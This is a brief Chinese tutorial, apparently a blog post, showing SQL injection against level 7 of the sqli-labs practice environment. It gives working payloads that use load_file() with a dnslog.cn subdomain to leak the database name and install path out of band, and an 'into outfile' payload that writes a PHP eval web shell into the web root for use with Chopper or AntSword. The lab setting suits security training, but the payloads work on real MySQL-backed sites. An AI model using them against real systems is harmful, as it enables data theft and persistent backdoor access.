之前看到的思路今天来整整^^; dnslog网址:http://www.dnslog.cn/
拿我们熟悉的sqli-labs,第7关来开刀^^;  正常显示:  错误显示:  猜测到注入点是字符型,单引号加两个小括号,?id=1’)) 
OK那接下来在用dnslog之前得看一下mysql中secure_file_priv变量得值; 因为配置值不同会产生影响:  修改这个变量值可以通过my.ini去进行修改,如果my.ini没有这个变量自行加上即可。 修改完记得重启然后检查一下是否修改成功:  接下来就可以利用读文件函数load_file(),结合dnslog.cn网站,实现带外攻击。 构造payload:  虽然执行完页面还是会显示报错,但不影响获取结果:  拿完库名接下来的表名等自行修改即可。
还可以通过dnslog 来获取文件路径: 构造payload为: http://localhost/sqli-labs/Less-7/?id=1’)) and load_file(concat(’\\’,(substr(hex(@@basedir),1,30)),’.umgkxt.dnslog.cn\coke’)) --+
http://localhost/sqli-labs/Less-7/?id=1’)) and load_file(concat(’\\’,(substr(hex(@@basedir),31,30)),’.umgkxt.dnslog.cn\coke’)) --+
 然后拼接起来十六进制解码得出:   获取到文件路径可以进行写入文件了; 构造语句:?id=-1’)) union select 1,2,’<?php @eval($_REQUEST[coke])?>’ into outfile ‘D:\phpstudy\phpstudy_pro\WWW\99.php’ --+ 来到网站目录下,发现写入成功: 也可以使用into dumpfile来写入; 然后通过菜刀,蚁剑等工具进行连接即可。
|